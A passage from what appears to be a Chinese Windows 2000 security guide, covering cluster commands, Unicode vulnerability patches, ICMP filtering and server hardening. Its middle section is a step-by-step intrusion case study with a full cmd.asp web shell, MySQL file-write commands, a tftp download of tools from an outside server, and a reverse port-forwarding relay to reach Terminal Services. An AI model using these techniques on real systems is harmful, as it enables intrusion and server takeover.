下表描述可用的 cluster 选项: 选项用于... ●/rename:cluster name 重命名群集。 ●/version 显示“群集”服务的版本号。 ●/quorum[resource][:resourcename] [/path:path] [/maxlogsize:maximumsize in kilobytes] 更改仲裁资源的名称或位置或者仲裁日志的大小。 ●/reg[admin]ext:admin extension dll [,admin extension dll...] 在群集中注册群集管理器扩展动态链接库。 ●/unreg[admin]ext:admin extension dll [,admin extension dll...] 从群集中注销群集管理器扩展动态链接库。 ●/list:[domain name] 显示计算机域或指定域中的群集列表。该选项不要使用群集名称。 ●/properties [property list] 查看或设置群集常用属性。有关属性列表的详细信息,请参阅属性列表。 ●/privproperties [property list] 查看或设置群集专用属性。有关属性列表的详细信息,请参阅属性列表。 ●/或 /help 显示 cluster 的语法。 例如,要将名为 OpsClust 的群集重命名为 OpsClust1,请在 Windows 2000 命令提示符下键入以下内容:cluster opsclust /renamepsclust1 群集常用属性名 下表描述了常用的 cluster 属性名、用途及有效设置: 常用的属性名用途 AdminExtensions 描述一个或多个用于群集对象的群集管理器扩展类标识符(CLSID)。 DefaultNetworkRole 指定要指派给网络的默认角色。 Description 指定群集的管理描述。 Security 描述 Windows 2000 兼容安全性的描述符。 SecurityDescriptor 描述 Windows NT-SP4 和 Windows 2000 兼容安全性的描述符。 Groups\AdminExtensions 描述一个或多个用于组的群集管理器扩展的类标识符 (CLSID)。 NetInterfaces\AdminExtensions 描述一个或多个用于网络接口的“群集管理器”扩展的类标识符(CLSID)。 Networks\AdminExtensions 描述一个或多个用于网络的“群集管理器”扩展的类标识符 (CLSID)。 Nodes\AdminExtensions 描述一个或多个用于节点的“群集管理器”扩展的类标识符 (CLSID)。 Resources\AdminExtensions 描述一个或多个用于资源的“群集管理器”扩展的类标识符 (CLSID)。 ResourceTypes\AdminExtensions 描述一个或多个用于资源类型的“群集管理器”扩展的类标识符 (CLSID)。 EnableEventLogReplication 指定是否在群集范围内启用或禁用“事件日志复制”。(True (1) 代表启用;False (0) 代表禁用。) 群集专用属性名 默认情况下,cluster 没有专用属性。软件供应商可以添加专用属性,以便扩展群集功能。 unicode安全问题 1.Unicode漏洞解决方案 简单解决方案: 限制网络用户访问和调用CMD的权限,在Scripts、Msadc目录没必要使用的情况下,删除该文件夹或者改名。 安装NT系统时不要使用默认WinNT路径,你可以改为badboy或者其他什么的文件夹。 当然最好的方法还是下载最著名的补丁公司提供的补丁。 该漏洞补丁随微软安全公告MS00-057一起发布:http://www.microsoft.com/technet/security/bulletin/ms00-057.asp 可以从如下地址下载补丁: IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp 2.检查是否被黑客利用Unicode漏洞入侵 检查LOG日志 在winnt\system32\logfiles\w3svc1\目录里保留有web访问记录,如果曾经被人利用UNICODE漏洞访问过,我们可以在日志里看到类似的记录: 13:46:07 127.0.0.1 GET /scripts/..\../winnt/system32/cmd”.exe 401 13:46:07 127.0.0.1 GET /scripts/..\../winnt/system32/cmd“.exe 200 如果有人曾经执行过COPY、del、echo、.bat等具有入侵行为命令时: 13:47:37 127.0.0.1 GET /scripts/..\../winnt/system32/cmd”.exe 401 13:47:37 127.0.0.1 GET /scripts/..\../winnt/system32/cmd“.exe 502 在winnt/system32/logfiles\msftp\svc1目录里可以找到运行FTP的日志。 如果有人执行过FTP命令,在日志文件里我可以看到类似的记录: 13:59:25 127.0.0.1 [2]USER badboy 331 13:59:25 127.0.0.1 [2]PASS - 230 13:59:25 127.0.0.1 [2]sent /a.txt 226 13:59:25 127.0.0.1 [2]QUIT - 226 这里入侵爱好者请注意,你利用目标主机到某个站点FTP下载什么文件都是被记录的,不要以为你删除文件、改文件名就可以逃脱你入侵的证据了。我们不排除有可能入侵者使用代理服务器或者其他的肉机。当然你知道自己被人利用UNICODE漏洞来入侵自己的主机,但在这些日志里你无法找到记录,那你就更要注意了,因为你遇到的不是一般的小菜鸟了。 检查事件查看器里面的错误记录: 我们也可以在管理工具的事件查看器里找到入侵者的足迹,比如在某个时段出现比较多的警告信息。信息类似以下内容: 事件类型: 警告 事件来源: W3SVC 事件种类: 无 事件 ID: 100 日期: 2001-2-2 事件: 21:51:26 用户: N/A 计算机: CLUB-BUM1HOYJHJ 描述:该服务器因为错误 登录失败: 未知的用户名或错误密码。而无法登录至 Windows NT 账号“CLUB-BUM1HOYJHJ\badboy”。此数据为错误码。 若要获取关于此消息的更多的信息,请访问 Microsoft 联机支持站点:http://www.microsoft.com/contentredirect.asp 。 数据: 0000: 2e 05 00 00 .... 5.2.8 堵住 Win2000 ICMP 漏洞 ICMP的全名是Internet Control and Message Protocal即因特网控制消息/错误报文协议,这个协议主要是用来进行错误信息和控制信息的传递,例如著名的Ping和Tracert工具都是利用ICMP协议中的ECHO request报文进行的(请求报文ICMP ECHO类型8代码0,应答报文ICMP ECHOREPLY类型0代码0)。 ICMP协议有一个特点——它是无连结的,也就是说只要发送端完成ICMP报文的封装并传递给路由器,这个报文将会象邮包一样自己去寻找目的地址,这个特点使得ICMP协议非常灵活快捷,但是同时也带来一个致命的缺陷——易伪造(邮包上的寄信人地址是可以随便写的),任何人都可以伪造一个ICMP报文并发送出去,伪造者可以利用SOCK_RAW编程直接改写报文的ICMP首部和IP首部,这样的报文携带的源地址是伪造的,在目的端根本无法追查,(攻击者不怕被抓那还不有恃无恐?)根据这个原理,外面出现了不少基于ICMP的攻击软件,有通过网络架构缺陷制造ICMP风暴的,有使用非常大的报文堵塞网络的,有利用ICMP碎片攻击消耗服务器CPU的,甚至如果将ICMP协议用来进行通讯,可以制作出不需要任何TCP/UDP端口的木马(参见相关文章)……既然ICMP协议这么危险,我们为什么不关掉它呢? 我们都知道,Win2000在网络属性中自带了一个TCP/IP过滤器,我们来看看能不能通过这里关掉ICMP协议,桌面上右击“网上邻居”→“属性”→“右击你要配置的网卡”→“属性”→“TCP/IP”→“高级”→“选项”→“TCP/IP过滤”,这里有三个过滤器,分别为:TCP端口、UDP端口和IP协议,我们先允许TCP/IP过滤,然后一个一个来配置,先是TCP端口,点击“只允许”,然后在下面加上你需要开的端口,一般来说WEB服务器只需要开80(www),FTP服务器需要开20(FTP Data),21(FTP Control),邮件服务器可能需要打开25(SMTP),110(POP3),以此类推......接着是UDP,UDP协议和ICMP协议一样是基于无连结的,一样容易伪造,所以如果不是必要(例如要从UDP提供DNS服务之类)应该选择全部不允许,避免受到洪水(Flood)或碎片(Fragment)攻击。最右边的一个编辑框是定义IP协议过滤的,我们选择只允许TCP协议通过,添加一个“6”(6是TCP在IP协议中的代码,IPPROTO_TCP=6),从道理上来说,只允许TCP协议通过时无论UDP还是ICMP都不应该能通过,可惜的是这里的IP协议过滤指的是狭义的IP协议,从架构上来说虽然ICMP协议和IGMP协议都是IP协议的附属协议,但是从网络7层结构上ICMP/IGMP协议与IP协议同属一层,所以微软在这里的IP协议过滤是不包括ICMP协议的,也就是说即使你设置了“只允许TCP协议通过”,ICMP报文仍然可以正常通过,所以如果我们要过滤ICMP协议还需要另想办法。 刚刚在我们进行TCP/IP过滤时,还有另外一个选项:IP安全机制(IP Security),我们过滤ICMP的想法就要着落在它身上。 打开本地安全策略,选择IP安全策略,在这里我们可以定义自己的IP安全策略。 一个IP安全过滤器由两个部分组成:过滤策略和过滤操作,过滤策略决定哪些报文应当引起过滤器的关注,过滤操作决定过滤器是“允许”还是“拒绝”报文的通过。要新建IP安全过滤器,必须新建自己的过滤策略和过滤操作:右击本机的IP安全策略,选择管理IP过滤器,在IP过滤器管理列表中建立一个新的过滤规则:ICMP_ANY_IN,源地址选任意IP,目标地址选本机,协议类型是ICMP,切换到管理过滤器操作,增加一个名为Deny的操作,操作类型为“阻止”(Block)。这样我们就有了一个关注所有进入ICMP报文的过滤策略和丢弃所有报文的过滤操作了。需要注意的是,在地址选项中有一个镜像选择,如果选中镜像,那么将会建立一个对称的过滤策略,也就是说当你关注any IP→my IP的时候,由于镜像的作用,实际上你也同时关注了my IP→any IP,你可以根据自己的需要选择或者放弃镜像。 再次右击本机的IP安全策略,选择新建IP过滤策略,建立一个名称为ICMP Filter的过滤器,通过增加过滤规则向导,我们把刚刚定义的ICMP_ANY_IN过滤策略指定给ICMP Filter,然后在操作选框中选择我们刚刚定义的Deny操作,退出向导窗口,右击ICMP Filter并启用它,现在任何地址进入的ICMP报文都会被丢弃了。 虽然用IP sec能够对ICMP报文进行过滤,不过操作起来太麻烦,而且如果你只需要过滤特定的ICMP报文,还要保留一些常用报文(如主机不可达、网络不可达等),IP sec策略就力不从心了,我们可以利用Win2000的另一个强大工具路由与远程访问控制(Routing & Remote Access)来完成这些复杂的过滤操作。 路由与远程访问控制是Win2000用来管理路由表、配置VPN、控制远程访问、进行IP报文过滤的工具,默认情况下并没有安装,所以首先你需要启用它,打开“管理工具”→“路由与远程访问”,右击服务器(如果没有则需要添加本机)选择“配置并启用路由及远程访问”,这时配置向导会让你选择是什么样的服务器,一般来说,如果你不需要配置VPN服务器,那么选择“手动配置”就可以了,配置完成后,主机下将出现一个IP路由的选项,在“常规”中选择你想配置的网卡(如果你有多块网卡,你可以选择关闭某一块的ICMP),在网卡属性中点击“输入筛选器”,添加一条过滤策略“from:ANY to:ANY 协议:ICMP 类型:8 :编码:0 丢弃”就可以了(类型8编码0就是Ping使用的ICMP_ECHO报文,如果要过滤所有的ICMP报文只需要将类型和编码都设置为255)。 以上漏洞修补请参考光盘内容:无需上网,直接点击即可修补: www.Microsoft.com/china (Windows 2000SP1简体中文版) www.microsoft.com/china (Windows 2000 SP1英文版) www.Microsoft.com/china (Windows 2000 SP2) www.Microsoft.com/china (Windows 2000 SP3 中文版) www.Microsoft.com/china (Windows 2000 SP3 英文版) 5.2.9 攻击Windows 2000的案例 先用Nmap扫描一下abc.XXXXXX.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是Mysql的,就用的Mysql客户端尝试连接了一下,Root的密码竟然为空,把目标转到www.XXXXXX.net——他们的主站,先用Nmap扫描一下,扫描结果如下: 25/tcp open smtp 53/tcp open domain 80/tcp open http 110/tcp open pop-3 389/tcp open ldap 1002/tcp open unknown 3306/tcp open mysql 然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,比abc.XXXXXX.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,用Mysql客户端连接试试: F:\cmd>mysql -u root -h www.XXX.net Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 3038 to server version: 3.23.21-beta Type ‘help;‘ or ‘\h‘ for help. Type ‘\c‘ to clear the buffer mysql> 呵呵,看来网管没有给“Mysql”账号Root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是Mysql没有类似MS-SQL那样的扩展存储过程。 现在我们可以利用这个漏洞来做三件事情: 1.搜索Mysql数据库里面的内容,看能不能找出一些有用的敏感信息。 2.读取服务器上的任何文件,当然前提是知道文件的物理路径。 3.以启动Mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件。 如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道! 没办法,猜吧……先在Mysql默认数据库test中建一个表“tmp”,这个表只有一个字段str,类型为TEXT, mysql> use test;create table tmp(str TEXT) ; Database changed Query OK,0 rows affected (0.05 sec) 然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,d:\wwwroot,都不对,55555。大概猜测到第10次,mysql客户端回显信息如下: mysql> load data infile “d:\\www\\gb\\about\\about.htm” into table tmp; Query OK,235 rows affected (0.05 sec) Records: 235 Deleted: 0 Skipped: 0 Warnings: 0 哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.XXXXXX.net/gb/about/about.htm,看来得到一个shell了,呵呵。 接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.XXXXXX.net/gb/about/cmd.asp来执行系统命令了。在网上找来一个现成的Cmd.asp。Cmd.asp如下: -------------------------------cmd.asp---------------------------------------- <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject(“”WSCRIPT.SHELL“”) Set oScriptNet = Server.CreateObject(“”WSCRIPT.NETWORK“”) Set oFileSys = Server.CreateObject(“”Scripting.FileSystemObject“”) szCMD = Request.Form(“”.CMD“”) If (szCMD <> “”“”) Then szTempFile = “”C:\“ & oFileSys.GetTempName() Call oScript.Run (”“cmd.exe /c ”“ & szCMD & ”“ > ”“ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML><BODY><FORM action=”“<%= Request.ServerVariables(”“URL”“) %>”“ method=”“POST”“> ”“></FORM><PRE> <% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> </BODY></HTML> ----------------------------end of cmd.asp----------------------------------- 由于往Mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是两个双引号一起的,这样才能写进去,原来是一个双引号的。然后在数据库中再建一个表: mysql> use test;create table cmd(str TEXT) ; Database changed Query OK, 0 rows affected (0.05 sec) 然后用如下语句,一句一句把上面的ASP写进去: mysql> insert into cmd values(“一行一行的ASP代码,呵呵”) ; 为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,ASP就不能正常运行了,只能辛苦点一行一行写了。然后把ASP文件导到服务器上: mysql>select * from cmd into outfile “d:\\www\\gb\\abou\\cmd.asp”; 然后把我们刚才建的表都删除掉: mysql> use test;drop table tmp; drop table cmd; ok!我们得到一个Shell了,虽然权限不高,但毕竟已经向取得Admin权限迈出一大步了,不是吗。现在我们利用这个Shell来收集系统信息,尝试取得Admin权限。 1.先看一下系统文件权限设置如何: c:\ Everyone:(OI)(CI)F d:\ \xxx:(OI)(CI)(DENY)(特殊访问:) DELETE READ_CONTROL WRITE_DAC WRITE_OWNER STANDARD_RIGHTS_REQUIRED FILE_READ_DATA FILE_WRITE_DATA FILE_APPEND_DATA FILE_READ_EA FILE_WRITE_EA FILE_EXECUTE FILE_DELETE_CHILD FILE_READ_ATTRIBUTES FILE_WRITE_ATTRIBUTES Everyone:(OI)(CI)F 看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得Admin权限,呵呵。 2.然后搜索一下硬盘上都有些什么文件: c:\Program Files 的目录下有两个比较有意思的文件, 2000-12-19 13:10 Serv-U 2001-01-20 22:43 绿色警戒 把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有。 3.再看看都有哪些用户: Guest IUSR_SERVER_1 IUSR_SERVER-2 IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的账号J] TsInternetUser 管理员有ceo 和XXXXXX\Domain Admins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程序,但后来看到这个账号已经几个月没登陆了,就放弃了。 4.看看启动了那些服务,这几个比较有意思, 看来都是默认的: Task Scheduler Simple Mail Transport Protocol (SMTP) Task Scheduler 5.看看网络状况,这几个比较有意思: TCP 0.0.0.0:21 0.0.0.0:0 LISTENING TCP 0.0.0.0:119 0.0.0.0:0 LISTENING TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING 看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来 6.看看网卡设置信息: Ethernet adapter 本地连接: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.1.3 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : Ethernet adapter 本地连接 2: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2 Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . :xxx Subnet Mask . . . . . . . . . . . : Default Gateway . . . . . . . . . : 经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得Admin权限?Netdde pipeupadmin无法利用,没有可利用的可以登陆的用户。下套?等到什么时候? OK!让我们来看看这个系统都打了些什么补丁。怎么查看?打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:“HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix”,这样的话,我们得上传一个reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面,我们才能操作他的注册表。开始想用先写一个FTP脚本,然后ftp -s:cmd.txt让他到我的服务器来下载,但结果失败了,后来才想起他做了TCP/IP过滤,怎么办呢?有办法,用TFTP来传输。先在自己的服务器上安装了一个Cisco TFTP Server,然后在目标机器上运行tftp -I www.XXXX.org GET reg.exe,传输过去。然后运行REG QUERY “HKLM\Software\ Microsoft\Windows NT\CurrentVersion\hotfix” 返回数据如下: Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix] [Q147222]→这个不知道是什么东西,好象默认2k机器上都有 [Q269862]→Q269862_W2K_SP2_x86_CN.EXE→Microsoft IIS Unicode解码目录遍历漏洞! [Q277873]→Q277873_W2K_sp2_x86_CN.EXE→Microsoft IIS CGI文件名检查漏洞! (→和后面是说明,不是注册表中的)。 看来管理员不太勤快啊,只打了两个补丁。 到了这一步,大家想到怎么取得Admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但Windows2000登陆验证可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dir c:\winnt\help\win*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,别忘了我们可以往任何地方写文件哦。 咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询 1.reg QUERY “HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces” Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces] [{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] [{612A3142-DB85-4D4E-8028-81A9EB4D6A51}] 2.reg QUERY “HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}” Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] MULTI_SZ IPAddress ; MULTI_SZ TCPAllowedPorts 25;53;80;110;3306; MULTI_SZ UDPAllowedPorts 0; MULTI_SZ RawIPAllowedProtocols 0; 3.reg QUERY“HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{612A3142-DB85-4D4E-8028-81A9EB4D6A51}” Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces{612A3142-DB85-4D4E-8028-81A9EB4D6A51}] MULTI_SZ IPAddress 192.168.1.3; MULTI_SZ TCPAllowedPorts 0; MULTI_SZ UDPAllowedPorts 0; MULTI_SZ RawIPAllowedProtocols 0; 篇幅关系,过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。第三次查询的是内网网卡,没有任何限制。 现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去,然后如果能连接到他的3389端口的话,我们就可以得到Admin权限了。问题的关键是外网网卡做了TCP/IP限制。怎么办呢?如何突破?有办法!我们可以利用Socket转发和反弹端口技术,照样可以连接到敌人的TermService! 具体过程如下: 1.在自己的另一台服务器www.XXXX.org上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端口[等待www.XXXXXX.net来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦; 2.在www.XXXXXX.net[我称他为AgentSlave]运行另外一个程序, 先连接到www.XXXX.org:11111,再连接到192.168.1.3:3389[敌人服务器内网的IP] ; 3.我的TermClient连接到www.XXXX.org:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。 注意:www.XXXX.org和www.XXXX.org可以为同一台服务器,但要保证www.XXXXXX.net能connect上你的服务器。192.168.1.3也可以换为他内网的任何一个IP。这样,当用TermClient连接到www.XXXX.org的时候,其实是连接到www.XXXXXX.net。当熟悉的登陆界面出现在我面前,我熟练的调出输入法,取得Admin权限,呵呵,心里还有那么一点点成就感! 简要的回顾一下:发现Mysql漏洞→凭直觉猜中IIS物理路径→写一个cmd.asp文件上去得到一个shell→利用系统配置错误取得Admin权限接下来要做的事情,就是把漏洞通知他们的网管了。 5.3 Windows 2000的系统安全设置 如何让我们的计算机更好、更安全地运行,是每一个用户都在思考的问题,我们将介绍如何利用Windows 2000自身的功能实现对系统的安全控制,希望对广大用户的数据安全有所帮助。 5.3.1 初级安全篇 1.物理安全 服务器应该安放在安装了监视器的隔离房间内,并且监视器要保留15天以上的摄像记录。另外,机箱,键盘,电脑桌抽屉要上锁,以确保旁人即使进入房间也无法使用电脑,钥匙要放在另外的安全的地方。 2.停掉Guest账号 在计算机管理的用户里面把guest账号停用掉,任何时候都不允许guest账号登陆系统。为了保险起见,最好给guest 加一个复杂的密码,你可以打开记事本,在里面输入一串包含特殊字符、数字、字母的长字符串,然后把它作为guest账号的密码拷进去。 3.限制不必要的用户数量 去掉所有的duplicate user 账户,测试用账户,共享账号,普通部门账号等等。用户组策略设置相应权限,并且经常检查系统的账户,删除已经不在使用的账户。这些账户很多时候都是黑客们入侵系统的突破口,系统的账户越多,黑客们得到合法用户的权限可能性一般也就越大。国内的NT/2000主机,如果系统账户超过10个,一般都能找出一两个弱口令账户。 4.创建2个管理员用账号 虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限账号用来收信以及处理一些日常事物,另一个拥有Administrators 权限的账户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理。 5.把系统Administrator账号改名 大家都知道,Windows2000 的administrator账号是不能被停用的,这意味着别人可以一遍又一边的尝试这个账户的密码。把Administrator账户改名可以有效的防止这一点。当然,请不要使用Admin之类的名字,改了等于没改,尽量把它伪装成普通用户,比如改成:guestone 。 6.创建一个陷阱账号 什么是陷阱账号Look创建一个名为“Administrator”的本地账户,把它的权限设置成最低,什么事也干不了的那种,并且加上一个超过10位的超级复杂密码。这样可以让那些 Scripts s忙上一段时间了,并且可以借此发现它们的入侵企图。或者在它的login scripts上面做点手脚。嘿嘿,够损! 7.把共享文件的权限从“everyone”组改成“授权用户” Everyone在Win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成everyone组。包括打印共享,默认的属性就是Everyone组的,一定不要忘了改。 8.使用安全密码 一个好的密码对于一个网络是非常重要的,但是它是最容易被忽略的。前面的所说的也许已经可以说明这一点了。一些公司的管理员创建账号的时候往往用公司名,计算机名,或者一些别的一猜就到的东西做用户名,然后又把这些账户的密码设置得很简单,比如 “welcome”、“iloveyou”、“letmein”或者和用户名相同等等。这样的账户应该要求用户首此登陆的时候更改成复杂的密码,还要注意经常更改密码。我们给好密码下了个定义:安全期内无法破解出来的密码就是好密码,也就是说,如果人家得到了你的密码文档,必须花43天或者更长的时间才能破解出来,而你的密码策略是42天必须改密码。 9.设置屏幕保护密码 很简单也很有必要,设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序,浪费系统资源,让他黑屏就可以了。还有一点,所有系统用户所使用的机器也最好加上屏幕保护密码。 10.使用NTFS格式分区 把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT,FAT32的文件系统安全得多。这点不必多说,想必大家得服务器都已经是NTFS的了。 11.运行防毒软件 Win2000/Nt服务器很少有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。 12.保障备份盘的安全 一旦系统资料被破坏,备份盘将是你恢复资料的唯一途径。备份完资料后,把备份盘防在安全的地方。千万别把资料备份在同一台服务器上,那样的话,还不如不要备份。 5.3.2 中级安全篇 1.利用win2000的安全配置工具来配置策略 微软提供了一套的基于MMC(管理控制台)安全配置和分析工具,利用他们你可以很方便的配置你的服务器以满足你的要求。具体内容请参考微软主页: http://www.microsoft.com/windows2000/techinfo/howitworks/security/sctoolset.asp 2.关闭不必要的服务 windows 2000 的 Terminal Services(终端服务),IIS ,和RAS都可能给你的系统带来安全漏洞。为了能够在远程方便的管理服务器,很多机器的终端服务都是开着的,如果你的也开了,要确认你已经正确的配置了终端服务。有些恶意的程序也能以服务方式悄悄的运行。要留意服务器上面开启的所有服务,中期性(每天)的检查他们。下面是C2级别安装的默认服务: Computer Browser service TCP/IP NetBIOS Helper Microsoft DNS server Spooler NTLM SSP Server RPC Locator WINS RPC service Workstation Netlogon Event log 3.关闭不必要的端口 关闭端口意味着减少功能,在安全和功能上面需要你作一点决策。如果服务器安装在防火墙的后面,冒的险就会少些,但是,永远不要认为你可以高枕无忧了。用端口扫描器扫描系统所开放的端口,确定开放了哪些服务是黑客入侵你的系统的第一步。\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为: 网上邻居→属性→本地连接→属性→internet 协议(tcp/ip)→属性→高级→选项→tcp/ip筛选→属性打开tcp/ip筛选,添加需要的TCP、UDP,协议即可。 4.打开审核策略 开启安全审核是Win2000最基本的入侵检测方法。当有人尝试对你的系统进行某些方式(如尝试用户密码,改变账户策略,未经许可的文件访问等等)入侵的时候,都会被安全审核记录下来。很多的管理员在系统被入侵了几个月都不知道,直到系统遭到破坏。下面的这些审核是必须开启的,其它的可以根据需要增加: 策略 设置 审核系统登陆事件 成功,失败 审核账户管理 成功,失败 审核登陆事件 成功,失败 审核对象访问 成功 审核策略更改 成功,失败 审核特权使用 成功,失败 审核系统事件 成功,失败 5.开启密码密码策略 策略 设置 密码复杂性要求 启用 密码长度 最小值 6位 强制密码 历史 5 次 强制密码 历史 42 天 6.开启账户策略 策略 设置 复位账户锁定 计数器 20分钟 账户锁定时间 20分钟 账户锁定阈值 3次 7.设定安全记录的访问权限 安全记录在默认情况下是没有保护的,把它设置成只有Administrator和系统账户才有权访问。 8.把敏感文件存放在另外的文件服务器中 虽然现在服务器的硬盘容量都很大,但是你还是应该考虑是否有必要把一些重要的用户数据(文件,数据表,项目文件等)存放在另外一个安全的服务器中,并且经常备份它们。 9.不让系统显示上次登陆的用户名 默认情况下,终端服务接入服务器时,登陆对话框中会显示上次登陆的账户明,本地的登陆对话框也是一样。这使得别人可以很容易的得到系统的一些用户名,进而作密码猜测。修改注册表可以不让对话框里显示上次登陆的用户名,具体是把: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DontDisplayLastUserName把 REG_SZ 的键值改成“1”。 10.禁止建立空连接 默认情况下,任何用户通过通过空连接连上服务器,进而枚举出账号,猜测密码。我们可以通过修改注册表来禁止建立空连接: Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成“1”即可。 11.到微软网站下载最新的补丁程序 很多网络管理员没有访问安全站点的习惯,以至于一些漏洞都出了很久了,还放着服务器的漏洞不补给人家当靶子用。谁也不敢保证数百万行以上代码的2000不出一点安全漏洞,经常访问微软和一些安全站点,下载最新的Service Pack和漏洞补丁,是保障服务器长久安全的唯一方法。 5.3.3 高级安全篇 1. 关闭 DirectDraw 这是C2级安全标准对视频卡和内存的要求。关闭DirectDraw可能对一些需要用到DirectX的程序有影响(比如游戏,在服务器上玩星际争霸?但是对于绝大多数的商业站点都应该是没有影响的。 修改注册表:HKLM\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\DCI 的Timeout(REG_DWORD)为 “0”即可。 2.关闭默认共享 Win2000安装好以后,系统会创建一些隐藏的共享,你可以在Cmd下打 Net Share 查看他们。网上有很多关于IPC入侵的文章,相信大家一定对它不陌生。要禁止这些共享 ,打开管理工具→计算机管理→共享文件夹→共享,在相应的共享文件夹上按右键,点停止共享即可,不过机器重新启动后,这些共享又会重新开启的。 (1)C$ D$ E$ 每个分区的根目录 Win2000 Pro版中,只有Administrator和Backup Operators组成员才可连接,Win2000 Server版本Server Operatros组也可以连接到这些共享目录; (2)ADMIN$ %SYSTEMROOT% 远程管理用的共享目录 它的路径永远都指向Win2000的安装路径,比如 c:\winntFAX$ 在Win2000 Server中,FAX$在fax客户端发传真的时候会到; (3)IPC$ 空连接 IPC$共享提供了登录到系统的能力。 NetLogon 这个共享在Windows 2000 服务器的Net Login 服务在处理登陆域请求时用到 PRINT$ %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS 用户远程管理打印机 3.禁止Dump File的产生 